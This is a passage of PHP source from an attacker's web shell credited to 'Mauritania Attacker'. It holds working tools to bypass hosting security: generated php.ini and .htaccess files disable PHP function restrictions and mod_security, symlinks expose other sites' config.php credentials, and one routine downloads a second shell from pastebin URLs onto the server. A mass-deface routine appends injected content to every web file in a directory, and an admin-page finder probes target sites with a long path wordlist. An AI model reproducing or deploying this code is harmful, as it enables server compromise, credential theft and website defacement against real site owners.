<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Chmod Directory Priv8</span><br>Coded By Mauritania Attacker<center><br><br>\';
echo \'<form action="" method="post">
<p>
<center>
<input type="text" name="file" placeholder="/home/user/public_html/directory">
<input type="submit" name="bypass" value="Bypass Chmod Dir">
</form></center></p>\';

if($_POST)
{
$mauritania = $_POST[\'file\'];
$ch = @chmod($mauritania,\'0311\');
if($ch)
{
echo "[+] Directory  <font face=\'Tahoma\' size=\'3\' color=\'#b0b000\'> =>{$mauritania}               => [+] Permission Changed Successfully Bypassed ^_^ [+]";
}
else
{
echo "[-] Directory  <font face=\'Tahoma\' size=\'3\' color=\'red\'> =>{$mauritania}                 => [-] Permission can\'t be changed , maybe chmod function is disabled :( [-]";
}
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'forb14\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden 2014</span><br>Coded by Mauritania Attacker<center><br><br>\';
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
echo\'
<form method="post">
<input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
<input type="text" name="ghostfile" value="config.txt" size="60"/><br /><br />
<input type="submit" value="Bypass" name="symlink" /> <br /><br />
</form>
\';
echo \'<div class="tul"><b>PHP VERSION:</b> <font color="white" face="shell, Geneva, sans-serif" style="font-size: 8pt">\';echo phpversion();

$fichier = $_POST[\'file\'];
$ghostfile = $_POST[\'ghostfile\'];
$symlink = $_POST[\'symlink\'];

if ($symlink)
{


$dir = "mauritania";
if(file_exists($dir)) {
echo "<br><font color=\'red\'>[+] mauritania Folder Already Exist _ are you Drunk XD !!!</font><br />";
} else {
@mkdir($dir); {
echo \'<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>\!/ mauritania Folder Created ^_^ \!/  </b></b>\';
echo \'<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>File Retrieved Successfully</b></b>\';

} }

			
$priv9  = "#Priv9 htaccess By Mauritania Attacker
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
DirectoryIndex $ghostfile
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
SetEnv PHPRC ".dirname(__FILE__)."/mauritania/php.ini
suPHP_ConfigPath ".dirname(__FILE__)."/mauritania/php.ini
";
$f =@fopen (\'mauritania/.htaccess\',\'w\');
@fwrite($f , $priv9);

@symlink("$fichier","mauritania/$ghostfile");

echo \'<br /><a target="_blank" href="mauritania/" ><font color="white" size"12">\'.$ghostfile.\'</a></font>\';
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'smod14\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass SafeMode 2014 Priv8</span><br>Coded by Mauritania Attacker<center><br><br>\';
echo "<br><form method=\'POST\'>
<center><font color=\'#007700\' size=\'2\' face=\'shell\'>Cwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><input type=\'text\' size=\'40\' name=\'zero\' value=".dirname(__FILE__)." &lt;font color=\'#b0b000\' size=\'8\' face=\'Tahoma\'></font></center>
<center><font color=\'#007700\' size=\'2\' face=\'shell\'>Shell&nbsp;&nbsp;&nbsp;&nbsp;</font><input type=\'text\' size=\'40\' name=\'shell\' value=\'http://pastebin.com/raw.php?i=2gmt5XFH\' &lt;font color=\'#b0b000\' size=\'8\' face=\'Tahoma\'></font></center>
<center><font color=\'#007700\' size=\'2\' face=\'shell\'>ini.php&nbsp;</font><input type=\'text\' size=\'40\' name=\'rim\' value=\'http://pastebin.com/raw.php?i=sEbXwVvt\' &lt;font color=\'#b0b000\' size=\'8\' face=\'Tahoma\'></font></center><br>
<center><input type=\'submit\' value=\'Bypass SafeMode\' name=\'start\' ><br></font></center><br>";
echo "<center><textarea class=\'area\' rows=\'12\' cols=\'60\'>Results Will Appear Here ^_^ 
";
if($_POST[\'start\']) {
$zero = $_POST[\'zero\'];
$file = $_POST[\'shell\'];
$mauritania = $_POST[\'rim\'];
$htaccess = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
SetEnv PHPRC $zero/ghost/php.ini";

$phpini = "c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=";
$dir = "ghost"; 
if(file_exists($dir)) {
echo "[+] ghost Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] ghost Folder Has Been Created Nygga :3 !
";
} }
#Generate Sh3LL
$fopen = fopen("ghost/priv8.php5",\'w\');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Shell Has Been Downloaded : $zero/ghost/priv8.php5 
";
} else {
echo "Can\'t Download Shell :( do it manually :D 
";
}
fclose($fopen);
#Generate Htaccess
$kolsv = fopen("ghost/.htaccess", "w");
$hwrite = fwrite($kolsv, $htaccess);
if($hwrite){
echo ".htaccess Generated Successfully \!/";
} else {
echo "Can\'t Generate Htaccess";
}
fclose($kolsv);
#Generate ini.php
$xopen = fopen("ghost/ini.php",\'w\');
$rim = @file_get_contents($mauritania);
$zzz = fwrite($xopen ,$rim);
if($zzz){
echo "ini.php Has Been Downloaded \!/";
} else {
echo "Can\'t Download ini.php :( do it manually :D ";
}
fclose($xopen);
	
$ini = fopen("ghost/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "PHP.INI Generated Successfully \!/";
} else {
echo "[-] Can\'t Generate PHP.INI";
}
}
echo "</textarea></center>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'setphr\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass suPHP Security</span><center><br>\';
echo \'<center><form method=post><br><br>
<input type=submit name=gnr value="Generate htaccess" /></form></center>\';
          
error_reporting(0);
            
if(isset($_POST[\'gnr\']))
{
mkdir(\'suPHP\',0755);
$rr  = "<IfModule mod_security.c> 
SecFilterEngine Off 
SecFilterScanPOST Off 
SecFilterCheckURLEncoding Off 
SecFilterCheckCookieFormat Off 
SecFilterCheckUnicodeEncoding Off 
SecFilterNormalizeCookies Off 
</IfModule> 
<Limit GET POST> 
order deny,allow 
deny from all 
allow from all 
</Limit> 
<Limit PUT DELETE> 
order deny,allow 
deny from all 
</Limit> 
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen(\'suPHP/.htaccess\',\'w\');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class=\'cone\'><a href=suPHP/ target=\'_blank\'><font face=\'Tahoma\' color=\'#00bb00\' size=\'2pt\'>Click here </font></a></b></center><br>";
}
echo \'<center><form method=post><br><br>
<input type=submit name=gnrp value="Generate php.ini" /></form></center>\';
error_reporting(0);
            
if(isset($_POST[\'gnrp\']))
{
mkdir(\'suPHP\',0755);
$rr  = "safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE";
$g = fopen(\'suPHP/php.ini\',\'w\');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class=\'cone\'><a href=suPHP/ target=\'_blank\'><font face=\'Tahoma\' color=\'#00bb00\' size=\'2pt\'>Click here </font></a></b></center><br>";
		
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'suppet\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Functions suPHP_ConfigPath Security</span><center><br>\';
echo \'<center><form method=post><br><br>
<input type=submit name=gnr value="Generate htaccess" /></form></center>\';
          
error_reporting(0);
            
if(isset($_POST[\'gnr\']))
{
mkdir(\'suPHP2\',0755);
$rr  = "<IfModule mod_security.c> 
SecFilterEngine Off 
SecFilterScanPOST Off 
SecFilterCheckURLEncoding Off 
SecFilterCheckCookieFormat Off 
SecFilterCheckUnicodeEncoding Off 
SecFilterNormalizeCookies Off 
</IfModule> 
<Limit GET POST> 
order deny,allow 
deny from all 
allow from all 
</Limit> 
<Limit PUT DELETE> 
order deny,allow 
deny from all 
</Limit> 
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen(\'suPHP2/.htaccess\',\'w\');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class=\'cone\'><a href=suPHP2/ target=\'_blank\'><font face=\'Tahoma\' color=\'#00bb00\' size=\'2pt\'>Click here </font></a></b></center><br>";
}
echo \'<center><form method=post><br><br>
<input type=submit name=gnrp value="Generate php.ini" /></form></center>\';
error_reporting(0);
            
if(isset($_POST[\'gnrp\']))
{
mkdir(\'suPHP2\',0755);
$rr  = "safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF";
$g = fopen(\'suPHP2/php.ini\',\'w\');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class=\'cone\'><a href=suPHP2/ target=\'_blank\'><font face=\'Tahoma\' color=\'#00bb00\' size=\'2pt\'>Click here </font></a></b></center><br>";
		
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'mass\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
if(!isset($_GET[\'code\'])){

?>

<?php
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Deface Dirs</span><br><form action="" method="get">
<center><br>Mass deface script, php/html/htm/asp/aspx/js</center><br><input type="hidden" name="action" value="mass">
<textarea name="code" id="source">YOUR DEFACE PAGE HERE =)</textarea><br><br>
<font color="#ee5500">Folder:</font> <input type="text" value="\'.getcwd().\'" name="dir" style="border-top:none;"> <input type="submit" value="Execute" style="border-top:none;"></center>
</form>\';
}
else{

if (is_dir($_GET[\'dir\'])) {
$lolinject = $_GET[\'code\'];
foreach (glob($_GET[\'dir\']."/*.php") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.\' was injected<br>\';
} else {
echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
}
}
foreach (glob($_GET[\'dir\']."/*.html") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.\' was injected<br>\';
} else {
echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
}
}
foreach (glob($_GET[\'dir\']."/*.htm") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.\' was injected<br>\';
} else {
echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
}
}
foreach (glob($_GET[\'dir\']."/*.asp") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.\' was injected<br>\';
} else {
echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
}
}
foreach (glob($_GET[\'dir\']."/*.js") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.\' was injected<br>\';
} else {
echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
}
}
foreach (glob($_GET[\'dir\']."/*.aspx") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.\' was injected<br>\';
} else {
echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo \'<b><font color=red>\'.$_GET[\'pathtomass\'].\' is not available!</font></b>\';
} // end if inputted dir is real, for real this time
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'admnpgfndr\'){
echo \'<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Admin Page Finder</span><center><br>\';
set_time_limit(0);
error_reporting(0);
$list[\'front\'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list[\'end\'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo \'
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin page Finder by k[N]i[g]Ht</title>
<style type="text/css">
body{
background: #222222;
margin: 0;
padding: 0;
padding-top: 10px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 1px solid #007700;
background: #222222;
color: #009900;
box-shadow: 0px 0px 4px #007700;
}
.red input{
background: #000;
border: 1px solid #007700;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 1px solid #007700;
background: #222222;
color: #00bb00;
box-shadow: 0px 0px 4px #007700;
}
.green{
float: left;
width: 1000px;
border: 1px solid #007700;
background: #222222;
color: #009900;
box-shadow: 0px 0px 4px #007700;
}
input[type=submit]{ padding: 3px; color: #222222; text-shadow:#000 0px 0px 4px; font-weight: bold; border: 1px solid #007700; background: #ababab; box-shadow: 0px 0px 4px #007700;    padding: 3px; -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
input[type=text]{ padding: 3px; color: #009900; text-shadow: #007700 0px 2px 7px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
input[type=submit]:hover, input[type=text]:hover{ color: #e4e4e4; text-shadow: #00bb00 0px 0px 4px; box-shadow: 0px 0px 4px #00bb00; border: 1px solid #00bb00;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px;   -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
</style>
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
</head>
<body>
<br />
<br />
<div class="wrapper">
<div class="red">
<div class="tube">
<form action="" method="post" name="xploit_form"><b>
URL :</b><br /><input type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="width: 100%;" /><br /><br />
<b>404string :</b><br /><input type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="width: 100%;" /><br /><br />
<span style="float: right;"><input type="submit" name="xploit_submit" value="Find Admin Page" align="right" /></span><br />
</form>
<br />
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
Found ones:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder<br />
PHP Version<br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all">\';
}
function show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = \'http://\'.$x.\'.\'.$site.\'/\';
$headers = get_headers($t);
if (!eregi(\'200\', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;
if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;
return 1;
}
	
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST[\'xploit_url\'])) die;
if($_POST[\'xploit_url\'] == \'\') die;
$site = $_POST[\'xploit_url\'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list[\'end\'] = str_replace("
", "", $list[\'end\']);
$list[\'front\'] = str_replace("
", "", $list[\'front\']);
$pathes = explode("
", $list[\'end\']);
$frontpathes = explode("
", $list[\'front\']);
show(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);
$verificate = 0;
foreach($pathes as $path) {
show(\'Checking \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show(\'Checking http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'portscnnre\'){
echo \'<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
